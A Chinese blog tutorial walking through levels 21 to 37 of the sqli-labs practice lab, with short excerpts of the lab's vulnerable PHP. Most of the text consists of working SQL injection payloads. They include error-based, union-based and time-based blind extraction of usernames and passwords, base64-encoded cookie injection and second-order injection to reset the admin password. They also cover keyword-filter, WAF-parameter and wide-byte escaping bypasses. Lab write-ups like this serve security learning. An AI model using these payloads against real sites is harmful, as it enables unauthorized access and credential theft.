sqlilabs21-37详细教程

声明

学习SQL注入,提高网路安全能力,其实大部分环境下,测试人员做的工作都截止到漏洞发现,简单回顾一下,漏洞发现的实质就是发现SQL语句的闭合方式,一般来讲都围绕着这几个符号

双引号 "

单引号 ’

双引号括号 "(

单引号括号’(

实际运用过程如下,仔细观察服务器给的反馈,或者结合sleep函数进行使用

http://192.168.239.138:86/Less-9/?id=" --+
http://192.168.239.138:86/Less-9/?id=' --+
http://192.168.239.138:86/Less-9/?id=") --+
http://192.168.239.138:86/Less-9/?id=') --+

information_schema

过关之前先要了解一下,我们要研究的是SQL注入,所以有必要先了解一下MYSQL数据库的重要库(表集合):information_schema,这个库中,存在着所有数据库的信息。。。这就意味着,如果我们可以利用漏洞,仅仅去查询这个库,就可以拿到关于数据库的大量信息了。

先看一下,这个数据库的位置
在这里插入图片描述

SCHEMATA

该表记录着所有的数据库名

图中,mysql命令行输入如喜爱命令,会显示目前为止所有的数据库(图左1)

show databases;

使用Navicat查看schemata表的SCHEMA_NAME字段显示所有的数据库(图右1)

使用Navicat连接mysql时左侧显示所有的数据库(图右2)

这三种结果都可以查看目前所有的数据库,这就意味着,如果我们可以操控SQL语句,可以通过查询SCHEMATA表里面的SCHEMA_NAME字段,来查看现有的所有数据库
在这里插入图片描述

TABLES

该表记录着所有的数据库与其表的对应关系

如图,该表里面,TABLE_SCHEMA字段记录着数据库,TABLE_NAME记录着TABLE_SCHEMA对应的表名称

所以靠这个账表,我们可以操纵SQL语句,查到所有的表名

在这里插入图片描述

COLUMNS

提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。

多了一个字段COLUMN_NAME

就是所有库对应的表对应的字段

常用

闭合方式判断

判断闭合方式,目前掌握的闭合方式为单引号’’,单引号括号(’’),双引号"",双引号括号("")

当单引号或者双引号出现回显或者语法错误时,如何判断是否带括号呢?

抄袭一波大神的判断方式

遇到SQL注入第一步判断闭合:
首先尝试:

?id=1’
?id=1”

1如果都报错,则为整形闭合。

2如果单引号报错,双引号不报错。
然后尝试

?id=1' --+
?id=1' #

无报错则单引号闭合。
报错则单引号加括号。

3如果单引号不报错,双引号报错。
然后尝试

?id=1" --+
?id=1" #

无报错则双引号闭合。
报错则双引号加括号。

单引号转义绕过

当时用单引号’,代码转义为\’,就使用如下方式替换掉单引号

%df%27
�'
%EF%BF%BD

万能密码

�' and1=1 #

database()

返回当前数据库名

version()

返回数据库的版本号

CONCAT(s1,s2…sn)

字符串 s1,s2 等多个字符串合并为一个字符串

CONCAT_WS(x, s1,s2…sn)

同 CONCAT(s1,s2,…) 函数,但是每个字符串之间要加上 x,x 可以是分隔符

LIMIT

mysql> SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15

//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1: 
mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.

//如果只给定一个参数,它表示返回最大的记录行数目: 
mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行

//换句话说,LIMIT n 等价于 LIMIT 0,n。

sleep

left

LEFT(s,n) 返回字符串 s 的前 n 个字符

返回字符串 runoob 中的前两个字符:

SELECT LEFT(‘runoob’,2) – ru

mid

mid()函数为截取字符串一部分。mid(column_name,start,length)

column_name 必需,要提取字符的字段

start 必需,规定开始位置(起始为1)

length 可选,要返回的字符数,如果省略则返回剩余文本

eg:str=“123456” mid(str,2,1) 结果为2

substr

substr()

Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度

ASCII

返回字符串 s 的第一个字符的 ASCII 码。
返回 CustomerName 字段第一个字母的 ASCII 码:

SELECT ASCII(CustomerName) AS NumCodeOfFirstChar
FROM Customers;

count

返回查询的记录总数,expression 参数是一个字段或者 * 号

返回 Products 表中 products 字段总共有多少条记录:

SELECT COUNT(ProductID) AS NumberOfProducts FROM Products;

if

IF(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2
SELECT IF(1 > 0,‘正确’,‘错误’)
->正确

updatexml

updatexml()函数,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

总结

所以,只要发现有SQL注入,我们可以操纵SQL语句,就可以通过上述方式,将mysql数据库的库,表,字段一个一个查询出来

刀磨好了,拿sqlilab练练手吧

第二十一关

登录页面和登录成功页面和第二十关一样,那么不一样的地方在哪呢,我们来看看登录成功后的抓包,cookie被加密啦?

在这里插入图片描述

猜一下这里的逻辑,应该是将cookie加密后,进行数据库操作,所以我们构造的payload也得是加密的,接下来试一试看看加密的方式是什么,终于在下面的链接,试出来了加密方式为base64

https://www.107000.com/T-Base64

在这里插入图片描述

解码出来后,反手加一个单引号’,然后点击编码

在这里插入图片描述

在BP里面替换

在这里插入图片描述

和我们的推测一致,那这一关就是要在二十关的基础上,将我们的payload进行base64编码

我自己试了很多次,又是个坑,这里闭合方式根本不是单引号’,而是单引号括号’),所以需要把二十关的答案闭合方式由单引号’改成单引号括号’),前后都得该,我懒得该后面了,直接注释掉好了

') and extractvalue(1,concat('~',(select database()))) #

') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #

') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) #

') and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password)from users),0x7e)) #

base64加密后

JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgnficsKHNlbGVjdCBkYXRhYmFzZSgpKSkpICM=

JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSksMHg3ZSkpICM=

JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J3VzZXJzJyBhbmQgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkpLDB4N2UpKSAj

JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCd+JyxwYXNzd29yZClmcm9tIHVzZXJzKSwweDdlKSkgIw==

在这里插入图片描述

终极payload

') union select 1,2,group_concat(username,0x3a,password) from users#

JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyM=

在这里插入图片描述

第二十二关

有种预感告诉我,该试试其他符号了,那能不试试双引号吗,这不就是出题人的套路,中间略了

发现漏洞用双引号"或者双引号括号")都可以

利用漏洞用的双引号,因为闭合方式就是双引号

在这里插入图片描述

" and extractvalue(1,concat(0x7e,(select database()))) #

" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #

" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) #

" and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password)from users),0x7e)) #

base64编码后

IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSkpICM=

IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSwweDdlKSkgIw==

IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIGFuZCB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSksMHg3ZSkpICM=

IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUsJ34nLHBhc3N3b3JkKWZyb20gdXNlcnMpLDB4N2UpKSAj

终极payload

" union select 1,2,group_concat(username,0x3a,password) from users#

IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzIw==

在这里插入图片描述

第二十三关

这一关是不是又要换符号或者字段了?一看首页显然不是,作者套路好深,这个页面怎么返璞归真了,感觉又回到最初的起点。。。

在这里插入图片描述

我还天真的在post里面试试id字段,结果没反应,不会真和第一张一样吧,试试get

WTF???

在这里插入图片描述

继续跟进,咦,后面辣个单引号怎么注释不掉?

在这里插入图片描述

看来这里是利用层的练习了,已经发现了漏洞,利用时,id字段前面的被我们的单引号闭合,后面的字段以前往往都用注释(#或–+)做掉,现在看来注释被限制了,这里可以试试另一种方式

'
or '
or '1' = '

开始利用

http://192.168.239.138:86/Less-23/?id=' union select 1,2,database() '


http://192.168.239.138:86/Less-23/?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'=' 1

http://192.168.239.138:86/Less-23/?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '

http://192.168.239.138:86/Less-23/?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

第二十四关

是一个相对完整的用户交互界面了

在这里插入图片描述

什么?没有验证码,没有HTTPS,虽然说的没毛病,但是咱们现在是SQL注入,就先考虑SQL的问题吧,看了很多大佬,这里就是传说当中的二次注入,通过申请一个admin’#,后面再修改密码时,SQL语句解析admin’#就把#后面的判断给注释掉,因此就能直接修改admin用户的密码

进行第一步,也就是第一次注入

先来注册一个admin’#

在这里插入图片描述

登录这个admin’#用户

在这里插入图片描述

可以看到,这里是利用重置密码的功能完成漏洞利用,老密码和新密码,这里就是我们进行第二次注入的地方

所以原来的密码是会被admin’#后面的#注释掉的,所以随便输什么都行

在这里插入图片描述

这时候,登录admin用户,密码使用我们刚刚输入的新密码,成功绕过admin登录验证

在这里插入图片描述

第二十五关

明确告诉我们,关键字or和and都已经被掌控了,意思就是这俩关键字被过滤了,我们无法使用关键字or和and或者绕过这个过滤(通过我的测试,我有一次查询password字段,直接给我过滤成查询passwd字段,所以说,这里的过滤就是简单地把or和and替换为空字符串"")

or -> “”

oror -> “”

oorr -> o""r -> or

and同理

用oorr代替or,用union关键字,payload和二十四关一样(虽然没用,information和password里面的or已经被过滤,这里已经开始绕过or的过滤了

http://192.168.239.138:86/Less-25/?id=' union select 1,2,database() '


http://192.168.239.138:86/Less-25/?id=' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+

http://192.168.239.138:86/Less-25/?id=' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users --+

http://192.168.239.138:86/Less-25/?id=' union select 1,group_concat(username),group_concat(passwoorrd) from users --+

25A

猜库名

http://192.168.239.138:86/Less-25a/?id=1 anandd if(substr(database(),1,1)='s',sleep(5),1) --+
http://192.168.239.138:86/Less-25a/?id=1 anandd if(substr(database(),2,1)='e',sleep(5),1) --+
http://192.168.239.138:86/Less-25a/?id=1 anandd if(substr(database(),3,1)='c',sleep(5),1) --+
http://192.168.239.138:86/Less-25a/?id=1 anandd if(substr(database(),4,1)='u',sleep(5),1) --+
http://192.168.239.138:86/Less-25a/?id=1 anandd if(substr(database(),5,1)='r',sleep(5),1) --+
http://192.168.239.138:86/Less-25a/?id=1 anandd if(substr(database(),6,1)='i',sleep(5),1) --+
http://192.168.239.138:86/Less-25a/?id=1 anandd if(substr(database(),7,1)='t',sleep(5),1) --+
http://192.168.239.138:86/Less-25a/?id=1 anandd if(substr(database(),8,1)='y',sleep(5),1) --+

其他参考第五关啦

第二十六关

题目明说了,已经过滤了空格和注释,再加上前面的or和and,现在已经慢慢开始做限制,我们需要不断的绕过限制

有了这么多过滤,此时我们的符号就不能随意使用,需要通过转码或者符号代替来绕过这个过滤,下面是常用的

%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格

%27单引号

%26 &

&&	《=》	and 《=》	%26%26

payload如下(第一行为正常payload,第二行为绕过过滤的URL转码),我这里都是用的%A0,有时候hackbar的URL编码会给空格space转成%20,我是手动把%20改成%A0的

http://192.168.239.138:86/Less-26/?id=0') union select 1,2,3 || ('1')=('1
http://192.168.239.138:86/Less-26/?id=0%27union%A0select%A01%2C2%2C3%A0%26%26%A0%271%27%3D%271

http://192.168.239.138:86/Less-26/?id=0'union select 1,database(),3&&'1'='1
http://192.168.239.138:86/Less-26/?id=0%27union%A0select%A01%2Cdatabase%28%29%2C3%26%26%271%27%3D%271

http://192.168.239.138:86/Less-26/?id=0'union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security'&& '1'='1
http://192.168.239.138:86/Less-26/?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1

http://192.168.239.138:86/Less-26/?id=0' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users' && '1'='1
http://192.168.239.138:86/Less-26/?id=0'%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0aandnd%a0table_name='users'%a0%26%26%a0'1'='1

http://192.168.239.138:86/Less-26/?id=100' union select 1,(select group_concat(username,0x3a,passwoorrd) from security.users),'3
http://192.168.239.138:86/Less-26/?id=100%27%20union%A0select%A01%2C%28select%A0group_concat%28username%2C0x3a%2Cpasswoorrd%29%A0from%A0security.users%29%2C%273

26A

基本与第二十六关一样,闭合方式为单引号括号)"

http://192.168.239.138:86/Less-26a/?id=0') union select 1,2,3 && ('1')=('1
http://192.168.239.138:86/Less-26a/?id=0%27%29%A0union%A0select%A01%2C2%2C3%A0%26%26%A0%28%271%27%29%3D%28%271

http://192.168.239.138:86/Less-26a/?id=0') union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security'&& ('1')=('1
http://192.168.239.138:86/Less-26a/?id=0%27%29%A0union%A0select%A01%2Cgroup_concat%28table_name%29%2C3%A0from%A0infoorrmation_schema.tables%A0where%A0table_schema%3D%27security%27%26%26%A0%28%271%27%29%3D%28%271

http://192.168.239.138:86/Less-26a/?id=0') union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users' && ('1')=('1
http://192.168.239.138:86/Less-26a/?id=0%27%29%A0union%A0select%A01%2Cgroup_concat%28column_name%29%2C3%A0from%A0infoorrmation_schema.columns%A0where%A0table_schema%3D%27security%27%A0aandnd%A0table_name%3D%27users%27%A0%26%26%A0%28%271%27%29%3D%28%271

http://192.168.239.138:86/Less-26a/?id=100')union select 1,(select group_concat(username,0x3a,password) from users),('3
http://192.168.239.138:86/Less-26a/?id=100')union%a0select%a01,(select%a0group_concat(username,0x3a,passwoorrd)%a0from%a0security.users),('3

第二十七关

摊牌了,union也告诉你用不成了。。。。。。

闭合方式为单引号’

http://192.168.239.138:86/Less-27/?id=100'
http://192.168.239.138:86/Less-27/?id=1'and(extractvalue(1,concat(0x7e,(SeLect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e)))and'1'='1

http://192.168.239.138:86/Less-27/?id=1'and(extractvalue(1,concat(0x7e,(SeLect(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='users')),0x7e)))and'1'='1

http://192.168.239.138:86/Less-27/?id=1'and(extractvalue(1,concat(0x7e,(SeLect(group_concat(username))from(users)),0x7e)))and'1'='1

http://192.168.239.138:86/Less-27/?id=1'and(extractvalue(1,concat(0x7e,(SeLect(group_concat(password))from(users)),0x7e)))and'1'='1

在这里插入图片描述

27A

27关的区别在于对于id的处理,这里用的是 " ,同时mysql的错误不会在前端页面显示

使用一个双引号",页面没有任何反应,使用两个双引号""时,页面正常显示数据

说白了就是盲注

所以闭合方式为双引号

http://192.168.239.138:86/Less-27a/?id=1"and(if(ascii(substr((SeLect(table_name)from(SeLect(table_name),(table_rows)from(information_schema.tables)where(table_schema=database())and(table_rows=14))a),1,1))=117,sleep(5),0))and"1"="1

http://192.168.239.138:86/Less-27a/?id=1"and(if(ascii(substr((SeLect(column_name)from(information_schema.columns)where(table_schema=database())and(table_name='users')and(ordinal_position=1)),1,1))=105,sleep(5),0))and"1"="1

http://192.168.239.138:86/Less-27a/?id=1"and(if(ascii((substr((SeLect(username)from(users)where(id=1)),1,1)))=68,sleep(5),0))and"1"="1

http://192.168.239.138:86/Less-27a/?id=1"and(if(ascii((substr((SeLect(password)from(users)where(id=1)),1,1)))=68,sleep(5),0))and"1"="1

第二十八关

摊牌了,不让用union select

尝试一个和两个单引号,试出来闭合方式为单引号

http://192.168.239.138:86/Less-28/?id=1')and(if(ascii(substr((SeLect(table_name)from(SeLect(table_name),(table_rows)from(information_schema.tables)where(table_schema=database())and(table_rows=14))a),1,1))=117,sleep(5),0))and('1')=('1

http://192.168.239.138:86/Less-28/?id=1')and(if(ascii(substr((SeLect(table_name)from(SeLect(table_name),(table_rows)from(information_schema.tables)where(table_schema=database())and(table_rows=14))a),1,1))=117,sleep(5),0))and('1')=('1

http://192.168.239.138:86/Less-28/?id=1')and(if(ascii((substr((SeLect(username)from(users)where(id=1)),1,1)))=68,sleep(5),0))and('1')=('1

http://192.168.239.138:86/Less-28/?id=1')and(if(ascii((substr((SeLect(password)from(users)where(id=1)),1,1)))=68,sleep(5),0))and('1')=('1

28A

http://192.168.239.138:86/Less-28/?id=1')and(if(ascii(substr((SeLect(table_name)from(SeLect(table_name),(table_rows)from(information_schema.tables)where(table_schema=database())and(table_rows=14))a),1,1))=117,sleep(5),0))and('1')=('1

http://192.168.239.138:86/Less-28/?id=1')and(if(ascii(substr((SeLect(table_name)from(SeLect(table_name),(table_rows)from(information_schema.tables)where(table_schema=database())and(table_rows=14))a),1,1))=117,sleep(5),0))and('1')=('1

http://192.168.239.138:86/Less-28/?id=1')and(if(ascii((substr((SeLect(username)from(users)where(id=1)),1,1)))=68,sleep(5),0))and('1')=('1

http://192.168.239.138:86/Less-28/?id=1')and(if(ascii((substr((SeLect(password)from(users)where(id=1)),1,1)))=68,sleep(5),0))and('1')=('1

第二十九关

说有NB防火墙,看来开始涉及绕过了

只有访问login.php才能触发“小彩蛋”,这里最终的服务器apache前面还有一层tomcat,在这里充当WAF的角色,这一关先适应一下,看了源码和大神的分析,tomcat(WAF),获取识别第一个id值,后面的最终的服务器apache,获取第二个参数,所以tomcat一旦发现第一个id部位数字,就会跳转,当为aaa时,进行跳转至hacked.php,所以这里要对第二个id进行注入

http://192.168.239.138:86/Less-29/login.php?id=1
http://192.168.239.138:86/Less-29/login.php?id=aaa

在这里插入图片描述

闭合方式为单引号’

http://192.168.239.138:86/Less-29/login.php?id=1&id=' union select 1,2,3 --+
http://192.168.239.138:86/Less-29/login.php?id=1&id=' union select 1,version(),database() --+
http://192.168.239.138:86/Less-29/login.php?id=1&id=' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
http://192.168.239.138:86/Less-29/login.php?id=1&id=' union select 1,group_concat(username),group_concat(password) from security.users where 1 --+

第三十关

闭合方式为双引号

http://192.168.239.138:86/Less-30/login.php?id=1&id=" union select 1,2,3 --+
http://192.168.239.138:86/Less-30/login.php?id=1&id=" union select 1,version(),database() --+
http://192.168.239.138:86/Less-30/login.php?id=1&id=" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
http://192.168.239.138:86/Less-30/login.php?id=1&id=" union select 1,group_concat(username),group_concat(password) from security.users where 1 --+

第三十一关

漏洞复现

闭合方式为双引号括号("")

http://192.168.239.138:86/Less-31/login.php?id=1&id=1"
http://192.168.239.138:86/Less-31/login.php?id=1&id=1" --+

那么就是在三十关基础上把闭合方式修改为双引号括号("")即可

http://192.168.239.138:86/Less-31/login.php?id=1&id=") union select 1,2,3 --+
http://192.168.239.138:86/Less-31/login.php?id=1&id=") union select 1,version(),database() --+
http://192.168.239.138:86/Less-31/login.php?id=1&id=") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
http://192.168.239.138:86/Less-31/login.php?id=1&id=") union select 1,group_concat(username),group_concat(password) from security.users where 1 --+
源码分析

可以看出将id外面先裹了双引号,查询语句时又加了括号

if(isset($_GET['id'])){
	$id=$_GET['id'];
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);

	$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
	$id = '"'.$id.'"';

	$sql="SELECT * FROM users WHERE id= ($id) LIMIT 0,1";
	$result=mysql_query($sql);

第三十二关

漏洞复现

测试闭合方式时发现,单引号被转义了,也就是系统遇见’,给转义成 \‘,那么这里就需要进行宽字节注入了,什么是宽字节注入,请先了解一下如下的基本概念:

#位、字节、字

字节,Byte,是由八个位组成的一个单元,也就是8个bit组成1个Byte。常用于表示ASCII字符,例如字符A便用 “0100 0001”来表示。

字,16个位为一个字,它代表计算机处理指令或数据的二进制数位数,是计算机进行数据存储和数据处理的运算的单位

so?字=2字节=16位

#宽字节

宽字节其实就是两字节,GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节

#宽字节绕过原理

mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将 ’ 转换为 \’

如果我们能通过拼接宽字节,让\被忽略呢?

现在\‘是两字节,我们在\前面加一个字节A,组成A\’,让mysql处理的时候把A\当成汉子(宽字节),那么后面的单引号’不就又单独出来了,实际运用中,会使用%df,

urlencode(’) = %5c%27,在%5c%27前面添加%df,形成%df%5c%27,%df%5c被当做一个汉字,%27则作为一个单独的符号在外面,成功绕过转义,这就被称为宽字节注入

payload转换思路,原来只有单引号,将字段值进行URL编码后(‘被编码成%27’),在%27前加%df,例如

原payload
http://192.168.239.138:86/Less-32/?id=-1'
系统编码
http://192.168.239.138:86/Less-32/?id=-1%5c%27
现payload预期效果
http://192.168.239.138:86/Less-32/?id=-1%df%5c%27
现payload
http://192.168.239.138:86/Less-32/?id=-1%df'

在这里插入图片描述

本关payload,要注意的是第五个payload里面查字段,用到了’users’表,这里双引号依旧被转义了,而且这里使用 %df也没用,那么就需要把数据转为16进制,避免使用单引号或者双引号,我这里是把users转成16进制,前面加上0x

http://192.168.239.138:86/Less-32/?id=-1%df' order by 3 --+
http://192.168.239.138:86/Less-32/?id=-1%df' union select 1,2,3--+
http://192.168.239.138:86/Less-32/?id=-1%df' union select 1,database(),3--+
http://192.168.239.138:86/Less-32/?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

http://192.168.239.138:86/Less-32/?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
http://192.168.239.138:86/Less-32/?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),3--+

http://192.168.239.138:86/Less-32/?id=-1%df' union select 1,(select group_concat(username,password) from users),3--+

在这里插入图片描述

源码分析

执行SQL前,使用check_addslashes()对参数进行过滤,查看自主研发的单引号过滤函数:check_addslashes()函数内容,正则表达式可读性一言难尽,就是将 ’ 转为 ’ , 将 \ 转为 \ \ ,将 " 转为 \“

function check_addslashes($string){
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    return $string;
}

if(isset($_GET['id'])){
$id=check_addslashes($_GET['id']);

第三十三关

漏洞复现

payload和上一关一样,看来得从源码看看

http://192.168.239.138:86/Less-32/?id=-1%df' order by 3 --+
http://192.168.239.138:86/Less-32/?id=-1%df' union select 1,2,3--+
http://192.168.239.138:86/Less-32/?id=-1%df' union select 1,database(),3--+
http://192.168.239.138:86/Less-32/?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

http://192.168.239.138:86/Less-32/?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
http://192.168.239.138:86/Less-32/?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),3--+

http://192.168.239.138:86/Less-32/?id=-1%df' union select 1,(select group_concat(username,password) from users),3--+
源码分析

这里调用了系统函数addlashes(),addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(")
  • 反斜杠(\)
  • NULL
function check_addslashes($string){
    $string= addslashes($string);    
    return $string;
}
 
if(isset($_GET['id'])){
	$id=check_addslashes($_GET['id']);

和32关自己写的函数作用差不多

第三十四关

漏洞复现

久违的登录页面

在这里插入图片描述

提交单引号’,抓包,发现,post的数据被URL编码了,get与post提交数据的不同,get型直接以url形式提交,也就是说遇到%bb,%27这种直接当做url编码后处理,而post型却不是这样,他会把你提交的%bb,%27当做正常数据,然后进行url编码,于是就变成了%25bb,%2527

用户名输入如下
-1%df'
%df被转成%25df

在这里插入图片描述

显然%df也无法使用,网上大神都用的�来代替%df

payload如下,这里hackbar的post提交不好用了,直接在用户名中提交下面的payload即可

1�' or 1=1 #
1�' or 1=1 #
1�' oder by 2 #
0�' union select 1,2 #
0�' union select 1,database() #
0�' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) #
0�' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') #
0�' union select 1,(select group_concat(username,password) from users) #
源码分析

可以看到,用户名和密码都经过转码,函数都和33关用的一样,就是请求方式使用的是POST

if(isset($_POST['uname']) && isset($_POST['passwd'])){
	$uname1=$_POST['uname'];
	$passwd1=$_POST['passwd'];

	$uname = addslashes($uname1);
	$passwd= addslashes($passwd1);
        
	mysql_query("SET NAMES gbk");
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysql_query($sql);

第三十五关

漏洞复现

闭合方式为整形,那还有什么说的,多久没遇见这种不需要闭合的了?

1 or 1=1 #
1 or 1=1 #
1 oder by 2 #
0 union select 1,2,3 #
0 union select 1,database(),3 #
0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 #
0 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 #
0 union select 1,(select group_concat(username,password) from users),3 #
源码分析

可以看到,对参数id进行过滤,但是我们是整形啊,不涉及引号,所以转了也没用,相当于白给了

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}

// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);

第三十六关

漏洞复现

闭合方式为单引号’

使用%df%27

或者%EF%BF%BD绕过单引号过滤

payload

http://192.168.239.138:86/Less-36/?id=-1%df%27 and1=1--+
http://192.168.239.138:86/Less-36/?id=-1%df%27 oder by 3--+
http://192.168.239.138:86/Less-36/?id=-1%df%27 union select 1,2,3--+
http://192.168.239.138:86/Less-36/?id=-1%df%27 union select 1,database(),3--+
http://192.168.239.138:86/Less-36/?id=-1%df%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
http://192.168.239.138:86/Less-36/?id=-1%df%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),3--+
http://192.168.239.138:86/Less-36/?id=-1%df%27 union select 1,(select group_concat(username,password) from users),3--+

http://192.168.239.138:86/Less-36/?id=-1%EF%BF%BD%27and1=1--+
...
http://192.168.239.138:86/Less-36/?id=-1%EF%BF%BD%27union select 1,(select group_concat(username,password) from users),3--+
源码分析

使用mysql_real_escape_string()函数进行过滤

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • "
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

function check_quotes($string){
    $string= mysql_real_escape_string($string);    
    return $string;
}

if(isset($_GET['id'])){
$id=check_quotes($_GET['id']);

第三十七关

漏洞复现

又是久违的登录页面

闭合方式单引号,绕过方式�’

payload,在用户名处输入

1�' and1=1 #
1�' and1=1 #
1�' oder by 2 #
0�' union select 1,2 #
0�' union select 1,database() #
0�' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) #
0�' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') #
0�' union select 1,(select group_concat(username,password) from users) #
源码分析

对用户名和密码都进行字符转义

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname1=$_POST['uname'];
	$passwd1=$_POST['passwd'];
        
	$uname = mysql_real_escape_string($uname1);
    $passwd= mysql_real_escape_string($passwd1);
  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
